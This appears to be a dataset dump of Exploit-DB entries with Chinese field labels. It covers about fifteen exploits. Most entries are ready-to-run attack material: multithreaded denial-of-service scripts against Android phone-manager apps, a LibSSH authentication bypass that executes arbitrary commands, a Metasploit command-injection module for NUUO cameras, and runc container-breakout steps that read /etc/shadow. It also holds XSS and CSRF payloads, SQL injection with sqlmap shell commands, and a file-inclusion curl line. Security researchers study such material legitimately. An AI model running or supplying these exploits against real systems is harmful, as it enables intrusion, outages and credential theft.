QLWD/code_shield huggingface dataset:
标题: DomainMOD 4.11.01 - 'assets/edit/host.php?whid=5' Cross-Site Scripting EDB-ID: 46376 CVE: 2018-19915 类型: WEBAPPS 平台: PHP 发布日期: 2019-02-14 漏洞利用脚本: # Exploit Title: DomainMOD 4.11.01 - Cross-Site Scripting
# Date: 2018-11-22
# Exploit Author: Mohammed Abdul Kareem
# Vendor Homepage: domainmod (https://domainmod.org/)
# Software Link: domainmod (https://github.com/DomainMod/DomainMod)
# Version: v4.09.03 to v4.11.01
# CVE : CVE-2018-19915
# A Stored Cross-site scripting (XSS) was discovered in DomainMod application
# versions from v4.09.03 to v4.11.01
# After logging into the Domainmod application panel, browse to the
/assets/edit/host.php?whid=5 page and inject a javascript XSS payload
in "Web Host Name" & "Web Host's url fields "><img src=x
onerror=alert("XSSed-By-Abdul-Kareem")>

#POC : attached here https://github.com/domainmod/domainmod/issues/87 URL: https://www.exploit-db.com/exploits/46376
标题: AirMore 1.6.1 - Denial of Service (PoC) EDB-ID: 46381 CVE: 2019-9831 类型: DOS 平台: ANDROID 发布日期: 2019-02-15 漏洞利用脚本: #!/usr/bin/python
#coding: utf-8

# ************************************************************************
# *                Author: Marcelo Vázquez (aka s4vitar)                 *
# *     AirMore 1.6.1 Remote Denial of Service (DoS) & System Freeze     *
# ************************************************************************

# Exploit Title: AirMore 1.6.1 Remote Denial of Service (DoS) & System Freeze
# Date: 2019-02-14
# Exploit Author: Marcelo Vázquez (aka s4vitar)
# Vendor Homepage: https://airmore.com/
# Software Link: https://airmore.com/download
# Version: <= AirMore 1.6.1
# Tested on: Android

import sys, requests, threading, signal

def handler(signum, frame):
        print '\nFinishing program...\n'
        sys.exit(0)

if len(sys.argv) != 3:
 print "\nUsage: python " + sys.argv[0] + " <ip_address> <port>\n"
 print "Example: python AirMore_dos.py 192.168.1.125 2333\n"
 sys.exit(0)

def startAttack(url):
 url_destination = url + '/?Key=PhoneRequestAuthorization'
 headers = {'Origin': url, 'Accept-Encoding': 'gzip, deflate, br', 'Accept-Language': 'es-ES,es;q=0.9,en;q=0.8', 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36', 'Content-Type': 'text/plain;charset=UTF-8', 'accept': 'text/plain', 'Referer': url, 'Connection': 'keep-alive'}

 r = requests.post(url_destination, headers=headers)

if __name__ == '__main__':

 signal.signal(signal.SIGINT, handler)
 url = 'http://' + sys.argv[1] + ':' + sys.argv[2]

 threads = []

 for i in xrange(0, 10000):
  t = threading.Thread(target=startAttack, args=(url,))
  threads.append(t)

 for x in threads:
  x.start()

 for x in threads:
  x.join() URL: https://www.exploit-db.com/exploits/46381
标题: DomainMOD 4.11.01 - 'ssl-provider-name' Cross-Site Scripting EDB-ID: 46372 CVE: 2018-20009 类型: WEBAPPS 平台: PHP 发布日期: 2019-02-14 漏洞利用脚本: # Exploit Title: DomainMOD 4.11.01 - Cross-Site Scripting
# Date: 2018-11-22
# Exploit Author: Mohammed Abdul Raheem
# Vendor Homepage: domainmod (https://domainmod.org/)
# Software Link: domainmod (https://github.com/DomainMod/DomainMod)
# Version: v4.09.03 to v4.11.01
# CVE : CVE-2018-20009

# A Stored Cross-site scripting (XSS) was discovered in DomainMod application
# versions from v4.09.03 to v4.11.01
# After logging into the Domainmod application panel, browse to the
/assets/add/ssl-provider.php page and inject a javascript XSS payload
in ssl-provider-name, ssl-provider's-url "><img src=x
onerror=alert("Xss-By-Abdul-Raheem")>

#POC : attached here https://github.com/domainmod/domainmod/issues/88 URL: https://www.exploit-db.com/exploits/46372
标题: WordPress Plugin Booking Calendar 8.4.3 - (Authenticated) SQL Injection EDB-ID: 46377 CVE: 2018-20556 类型: WEBAPPS 平台: PHP 发布日期: 2019-02-14 漏洞利用脚本: # Exploit Title: Wordpress Booking Calendar v8.4.3 - Authenticated SQL Injection Vulnerability
# Date: 2018-12-28
# Exploit Author: B0UG
# Vendor Homepage: https://wpbookingcalendar.com/
# Software Link: https://wordpress.org/plugins/booking/
# Version: Tested on version 8.4.3 (older versions may also be affected)
# Tested on: WordPress
# Category : Webapps
# CVE: CVE-2018-20556

#I. VULNERABILITY

Authenticated SQL Injection
 
#II. BACKGROUND
'Booking Calendar' WordPress plugin developed by oplugins is a booking system which allows website visitors to check the availability of services and make reservations.

#III. DESCRIPTION
An authenticated SQL Injection vulnerability in the 'Booking Calendar' WordPress plugin allows an attacker to read arbitrary data from the database. 

#IV. PROOF OF CONCEPT
1) Access WordPress control panel.
2) Navigate to the Booking Calendar plugin page.
3) Set up Burp Suite to capture the traffic.
4) Select one of the booking entries and click on the 'Trash Can' button to delete the entry.
5) Within Burp Suite, analyse the POST request and idenitfy the parameter 'booking_id'.
6) The 'booking_id' parameter is vulnerable to the following different types of SQL injection: 
• Boolean based blind injection
• Error based injection
• Time based injection

7) We can perform a time based SQL injection by appending   ) AND SLEEP(100) AND (1=1   after the ID value in the parameter as shown below.
action=TRASH_RESTORE&booking_id=573) AND SLEEP(100) AND (1=1&is_send_emeils=1&denyreason=&user_id=1&wpdev_active_locale=en_US&is_trash=1&wpbc_nonce=99c5ffaa67

Obtaining a shell using sqlmap
-----------------------
• Obtain a SQL Shell
Sqlmap –r post-request.txt –p booking_id --sql-shell

• Obtain a Linux Shell
Sqlmap –r post-request.txt –p booking_id --os-shell

• Obtain a Windows Command Prompt
Sqlmap –r post-request.txt –p booking_id --os-cmd

#V. IMPACT
The vulnerability allows an attacker to read arbitrary data from the database. It is possible to get a remote shell from this vulnerability.
 
#VI. SYSTEMS AFFECTED
WordPress websites running 'Booking Calendar' WordPress plugin version 8.4.3 (older versions may also be affected).
 
#VII. REMEDIATION
Uninstall the plugin until the vulnerability has been fixed by the developer.

#VIII. DISCLOSURE TIMELINE
#December 28, 2018 1: Vulnerability identified.
#December 28, 2018 2: Informed developer of the vulnerability.
#February 14, 2019 3: No communication received back from the developer. URL: https://www.exploit-db.com/exploits/46377
标题: ApowerManager 3.1.7 - Phone Manager Remote Denial of Service (PoC) EDB-ID: 46380 CVE: 2019-9601 类型: DOS 平台: ANDROID 发布日期: 2019-02-14 漏洞利用脚本: #!/usr/bin/python
#coding: utf-8

# *********************************************************************
# *             Author: Marcelo Vázquez (aka s4vitar)                 *
# *  ApowerManager Remote Denial of Service (DoS) / Application Crash *
# *********************************************************************

# Exploit Title: ApowerManager - Phone Manager Remote Denial of Service (DoS) / Application Crash
# Date: 2019-02-14
# Exploit Author: Marcelo Vázquez (aka s4vitar)
# Vendor Homepage: https://www.apowersoft.com/phone-manager
# Software Link: https://www.apkmonk.com/download-app/com.apowersoft.phone.manager/4_com.apowersoft.phone.manager_2019-01-08.apk/
# Version: <= ApowerManager - Phone Manager 3.1.7
# Tested on: Android

import sys, requests, threading, signal

def handler(signum, frame):
        print '\nFinishing program...\n'
        sys.exit(0)

if len(sys.argv) != 3:
 print "\nUsage: python " + sys.argv[0] + " <ip_address> <port>\n"
 print "Example: python apowermanager_dos.py 192.168.1.125 2333\n"
 sys.exit(0)

def startAttack(url):
 url_destination = url + '/?Key=PhoneRequestAuthorization'
 headers = {'Origin': url, 'Accept-Encoding': 'gzip, deflate, br', 'Accept-Language': 'es-ES,es;q=0.9,en;q=0.8', 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36', 'Content-Type': 'text/plain;charset=UTF-8', 'accept': 'text/plain', 'Referer': url, 'Connection': 'keep-alive'}

 r = requests.post(url_destination, headers=headers)

if __name__ == '__main__':

 signal.signal(signal.SIGINT, handler)
 url = 'http://' + sys.argv[1] + ':' + sys.argv[2]

 threads = []

 for i in xrange(0, 10000):
  t = threading.Thread(target=startAttack, args=(url,))
  threads.append(t)

 for x in threads:
  x.start()

 for x in threads:
  x.join() URL: https://www.exploit-db.com/exploits/46380
标题: runc < 1.0-rc6 (Docker < 18.09.2) - Container Breakout (2) EDB-ID: 46369 CVE: 2019-5736 类型: LOCAL 平台: LINUX 发布日期: 2019-02-13 漏洞利用脚本: ## CVE-2019-5736 ##

This is exploit code for CVE-2019-5736 (and it works for both runc and LXC).
The simplest way to use it is to copy the exploit code into an existing
container, and run `make.sh`. However, you could just as easily create a bad
image and run that.

```console
% docker run --rm --name pwnme -dit ubuntu:18.10 bash
pwnme
% docker cp CVE-2019-5736.tar pwnme:/CVE-2019-5736.tar
```

We need to install `gcc` to build the exploit, and `runc` because we need to
have the shared libraries that `runc` would use. We don't actually use the
`runc` binary itself. For LXC, you would install `lxc` instead of `runc`.

```console
% docker attach pwnme
# apt-get update && apt-get install -y gcc runc
[ snip ]
# tar xf CVE-2019-5736.tar
# ./CVE-2019-5736/make.sh
```

And now, `/bin/bash` in the container will be able to **overwrite the host runc
binary**. Since this binary is often executed by `root`, this allows for
root-level code execution on the host.

```
% docker exec -it pwnme /bin/bash
[+] bad_libseccomp.so booted.
[+] opened ro /proc/self/exe <3>.
[+] constructed fdpath </proc/self/fd/3>
[+] bad_init is ready -- see </tmp/bad_init_log> for logs.
[*] dying to allow /proc/self/exe to be unused...
% cat /usr/sbin/docker-runc
#!/bin/bash
touch /w00t_w00t ; cat /etc/shadow
```

And now if you try to use Docker normally, the malicious script will execute
with root privileges:

```
% docker exec -it pwnme /bin/good_bash
OCI runtime state failed: invalid character 'b' looking for beginning of value: unknown
% file /w00t_w00t
/w00t_w00t: empty
```

And obviously `make.sh` can be modified to make the evil path anything you
like. If you want to get access to the container, use `/bin/good_bash`.

### License ###

```
Copyright (C) 2019 Aleksa Sarai <cyphar@cyphar.com>
Vulnerability discovered by Adam Iwaniuk and Borys Popławski.

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to
deal in the Software without restriction, including without limitation the
rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
sell copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

* The above copyright notice and this permission notice shall be included in
  all copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
IN THE SOFTWARE.
```


Download: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/46369.zip URL: https://www.exploit-db.com/exploits/46369
标题: Rukovoditel Project Management CRM 2.4.1 - Cross-Site Scripting EDB-ID: 46366 CVE: 2019-7541 类型: WEBAPPS 平台: PHP 发布日期: 2019-02-13 漏洞利用脚本: ####################################################################

# Exploit Title : Rukovoditel Project Management CRM 2.4.1 - XSS Vulnerability (DOM BASED)
# Author [ Discovered By ] : Mehmet EMIROGLU
# Date : 29/01/2019
# Vendor Homepage : https://www.rukovoditel.net/
# Software Link : https://sourceforge.net/projects/rukovoditel/
# Affected Versions : 2.4.1
# Tested On : Wampp, Windows,Lampp
# Category : WebApps
# Exploit Risk : Medium
# CVE : 2019-7541
# Sofrware Description : Rukovoditel is a free web-based open-source
project management
  application. A far cry from traditional applications, Rukovoditel gives
  users a broader and extensive approach to project management. Its
  customization options allow users to create additional entities, modify
  and specify the relationship between them, and generate the necessary
reports.

####################################################################

# Impact :
*********

* This web application called as Rukovoditel Project Management CRM 2.4.1
version.
* first of all, delete the value string from the URL
(...module=users%2flogin)
* after, add the XSS code I've given below to the end of the URL.
* The proof will be the picture below.
* https://i.hizliresim.com/6aydM7.jpg

####################################################################

# PoC :
****************************
* XSS Code : "><img src=x
onerror=document.body.innerHTML=location.hash>#"><img src=x
onerror=prompt(123456789)>
* Value : users%2flogin
* Get Request : http://localhost/[PATH]/index.php?module=users%2flogin
* URL : http://localhost/rukovoditel/index.php?module="><img src=x
onerror=document.body.innerHTML=location.hash>#"><img src=x
onerror=prompt(123456789)>

#################################################################### URL: https://www.exploit-db.com/exploits/46366
标题: runc < 1.0-rc6 (Docker < 18.09.2) - Container Breakout (1) EDB-ID: 46359 CVE: 2019-5736 类型: LOCAL 平台: LINUX 发布日期: 2019-02-12 漏洞利用脚本: # Usage
Edit HOST inside `payload.c`, compile with `make`. Start `nc` and run `pwn.sh` inside the container.

# Notes
- This exploit is destructive: it'll overwrite `/usr/bin/docker-runc` binary *on the host* with the
payload. It'll also overwrite `/bin/sh` inside the container.
- Tested only on Debian 9.
- No attempts were made to make it stable or reliable, it's only tested to work when a `docker exec
<id> /bin/sh` is issued on the host.

More complete explanation [here](https://github.com/lxc/lxc/commit/6400238d08cdf1ca20d49bafb85f4e224348bf9d).

Download: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/46359.zip URL: https://www.exploit-db.com/exploits/46359
标题: AirDroid 4.2.1.6 - Denial of Service EDB-ID: 46337 CVE: 2019-9599 类型: DOS 平台: ANDROID 发布日期: 2019-02-11 漏洞利用脚本: #!/bin/bash

# *********************************************************************
# *             Author: Marcelo Vázquez (aka s4vitar)                 *
# *  AirDroid Denial of Service (DoS) & System Crash + Forced Reboot  *
# *********************************************************************

# Exploit Title: AirDroid Remote Denial of Service (DoS) & System Crash + Forced Reboot
# Date: 2019-02-13
# Exploit Author: Marcelo Vázquez (aka s4vitar)
# Collaborators: Victor Lasa (aka vowkin)
# Vendor Homepage: https://web.airdroid.com/
# Software Link: https://play.google.com/store/apps/details?id=com.sand.airdroid&hl=en
# Version: <= AirDroid 4.2.1.6
# Tested on: Android

url=$1 # Example: http://192.168.1.46:8888
requests=0

trap ctrl_c INT

# If Ctrl+C key is pressed then the threads are killed
function ctrl_c() {
        echo -e "\n\n[*]Exiting...\n" && tput cnorm
        pkill curl > /dev/null 2>&1
        exit
}

# Detect number of arguments being passed to the program
if [ "$(echo $#)" == "1" ]; then
 # Infinite Loop
 tput cnorm && while true; do
  # We send 10000 requests in thread
  for i in $(seq 1 10000); do
   curl --silent "$url/sdctl/comm/lite_auth/" &
   let requests+=1
  done && wait # Here we wait for the threads to finish
 echo "Requests Sent: $requests"
 done
else
 echo -e "\nUsage: ./AirDroid_request.sh http://ip:port\n"
fi URL: https://www.exploit-db.com/exploits/46337
标题: CentOS Web Panel 0.9.8.763 - Persistent Cross-Site Scripting EDB-ID: 46349 CVE: 2019-7646 类型: WEBAPPS 平台: LINUX 发布日期: 2019-02-11 漏洞利用脚本: # Exploit Title: CentOS Web Panel 0.9.8.763 - Stored Cross-Site Scripting Vulnerability
# Google Dork: N/A
# Date: 10 - January - 2019
# Exploit Author: DKM
# Vendor Homepage: http://centos-webpanel.com
# Software Link: http://centos-webpanel.com
# Version: v0.9.8.763 
# Tested on: CentOS 7
# CVE : CVE-2019-7646

# Description:
A Stored Cross Site Scripting vulnerability is found in the "Package Name" Field within the 'Add a Package (add_package)' module. This is because the application does not properly sanitize the users input.


# Steps to Reproduce:
1. Login into the CentOS Web Panel using admin credential.
2. From Navigation Click on "Packages" -> then Click on "Add a Package"
3. In "Package Name" field give payload as: <script>alert(1)</script> and provide other details and click on "Create"
4. Now again from Navigation Click on "Packages" -> then Click on "List Packages"
5. Now one can see that the XSS Payload executed. URL: https://www.exploit-db.com/exploits/46349
标题: NUUO NVRmini - upgrade_handle.php Remote Command Execution (Metasploit) EDB-ID: 46340 CVE: 2018-14933 类型: REMOTE 平台: PHP 发布日期: 2019-02-11 漏洞利用脚本: ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'        => 'NUUO NVRmini upgrade_handle.php Remote Command Execution',
      'Description' => %q{
        This exploits a vulnerability in the web application of NUUO NVRmini IP camera,
        which can be done by triggering the writeuploaddir command in the upgrade_handle.php file.
      },
      'License' => MSF_LICENSE,
      'Author'  =>
        [
          'Berk Dusunur', # @berkdusunur
          'numan turle'   # @numanturle
        ],
      'References' =>
        [
          ['URL', 'https://www.berkdusunur.net/2018/11/development-of-metasploit-module-after.html'],
          ['URL', 'https://www.tenable.com/security/research/tra-2018-41'],
          ['CVE', '2018-14933'],
          ['EDB', '45070']
        ],
      'Privileged'   => false,
      'Payload'      =>
        {
          'DisableNops' => true
        },
      'Platform'       => %w{ unix win linux },
      'Arch'           => ARCH_CMD,
      'Targets'        => [ ['NUUO NVRmini', { }], ],
      'DisclosureDate' => 'Aug 04 2018',
      'DefaultTarget'  => 0))
  end

  def check
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'upgrade_handle.php'),
      'vars_get' =>
        {
          'cmd' => 'writeuploaddir',
          'uploaddir' => "';echo '#{Rex::Text.rand_text_alphanumeric(10..15)}';'"
        }}
      )

    unless res
      vprint_error 'Connection failed'
      return CheckCode::Unknown
    end

    if res.code == 200 && res.body =~ /upload_tmp_dir/
      return CheckCode::Vulnerable
    end

    CheckCode::Safe
  end

  def http_send_command(cmd)
    uri = normalize_uri(target_uri.path.to_s, "upgrade_handle.php")
    res = send_request_cgi({
      'method'   => 'GET',
      'uri'      =>  uri,
      'vars_get' =>
        {
          'cmd' => 'writeuploaddir',
          'uploaddir' => "';"+cmd+";'"
        }}
      )

    unless res
      fail_with(Failure::Unknown, 'Failed to execute the command.')
    end

    res
  end

  def exploit
    http_send_command(payload.encoded)
  end
end URL: https://www.exploit-db.com/exploits/46340
标题: Zyxel VMG3312-B10B DSL-491HNU-B1B v2 Modem - Cross-Site Request Forgery EDB-ID: 46326 CVE: 2019-7391 类型: WEBAPPS 平台: HARDWARE 发布日期: 2019-02-05 漏洞利用脚本: # Exploit Title: Zyxel VMG3312-B10B DSL-491HNU-B1B v2 modem CSRF Exploit
# Version: Zyxel VMG3312-B10B
# Tested on : Parrot Os
# Author: Yusuf Furkan
# Twitter: h1_yusuf
# CVE: CVE-2019-7391
# model name: DSL-491HNU-B1B v2

<html>
  <!-- CSRF PoC - generated by Yusuf -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://192.168.1.1/login/login-page.cgi" method="POST">
      <input type="hidden" name="AuthName" value="admin" />
      <input type="hidden" name="AuthPassword" value="1234" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html> URL: https://www.exploit-db.com/exploits/46326
标题: SureMDM < 2018-11 Patch - Local / Remote File Inclusion EDB-ID: 46305 CVE: 2018-15657 类型: WEBAPPS 平台: WINDOWS 发布日期: 2019-02-01 漏洞利用脚本: # Exploit Title: SureMDM LFI/RFI (Prior to 2018-11 Patch)
# Google Dork: inurl:/api/DownloadUrlResponse.ashx
# Date: 2019-02-01
# Exploit Author: Digital Interruption
# Vendor Homepage: https://www.42gears.com/
# Software Link: https://www.42gears.com/products/suremdm-home/
# Version: Versions prior to the November 2018 patch
# Tested on: Windows
# CVE : CVE-2018-15657

An attacker can force the web server to request remote files and display the output by placing any arbitrary URL in the "url" parameter of /api/DownloadUrlResponse.ashx. This can also be utilised to request files from the local file system by using the file:// URI syntax, such as file://C:/WINDOWS/System32/drivers/etc/hosts

Proof of concept: curl -H "ApiKey: apiKey" http://target/api/DownloadUrlResponse.ashx?url=file://C:/WINDOWS/System32/drivers/etc/hosts URL: https://www.exploit-db.com/exploits/46305
标题: LibSSH 0.7.6 / 0.8.4 - Unauthorized Access EDB-ID: 46307 CVE: 2018-10933 类型: REMOTE 平台: LINUX 发布日期: 2018-10-20 漏洞利用脚本: #!/usr/bin/env python3
import sys
import paramiko
import socket
import logging

# pip3 install paramiko==2.0.8

#logging.basicConfig(stream=sys.stdout, level=logging.DEBUG)
logging.basicConfig(stream=sys.stdout)
bufsize = 2048



def execute(hostname, port, command):
    sock = socket.socket()
    try:
        sock.connect((hostname, int(port)))

        message = paramiko.message.Message()
        transport = paramiko.transport.Transport(sock)
        transport.start_client()

        message.add_byte(paramiko.common.cMSG_USERAUTH_SUCCESS)
        transport._send_message(message)

        client = transport.open_session(timeout=10)
        client.exec_command(command)

        # stdin = client.makefile("wb", bufsize)
        stdout = client.makefile("rb", bufsize)
        stderr = client.makefile_stderr("rb", bufsize)

        output = stdout.read()
        error = stderr.read()

        stdout.close()
        stderr.close()

        return (output+error).decode()
    except paramiko.SSHException as e:
        logging.exception(e)
        logging.debug("TCPForwarding disabled on remote server can't connect. Not Vulnerable")
    except socket.error:
        logging.debug("Unable to connect.")

    return None


if __name__ == '__main__':
    print(execute(sys.argv[1], sys.argv[2], sys.argv[3])) URL: https://www.exploit-db.com/exploits/46307
标题: MyBB IP History Logs Plugin 1.0.2 - Cross-Site Scripting EDB-ID: 46273 CVE: 2019-6979 类型: WEBAPPS 平台: PHP 发布日期: 2019-01-28 漏洞利用脚本: # Exploit Title: MyBB IP History Logs Plugin 1.0.2 - Cross-Site Scripting
# Date: 1/25/2018
# Author: 0xB9
# Twitter: @0xB9Sec
# Contact: 0xB9[at]pm.me
# Software Link: https://community.mybb.com/mods.php?action=view&pid=1213
# Version: 1.0.2
# Tested on: Ubuntu 18.04
# CVE: CVE-2019-6979


1. Description:
This plugin keeps a record of a users IP & User-Agent history. The User-Agent isn't sanitized to user input allowing for an XSS via ACP.
 

2. Proof of Concept:

- Change your User-Agent to a payload   <script>alert('XSS')</script>
- Log into an account

When admin visits the IP/User-Agent history page the payload will execute
http://localhost/[path]/admin/index.php?module=tools-ip_history_logs



3. Solution:
Update to 1.0.3 URL: https://www.exploit-db.com/exploits/46273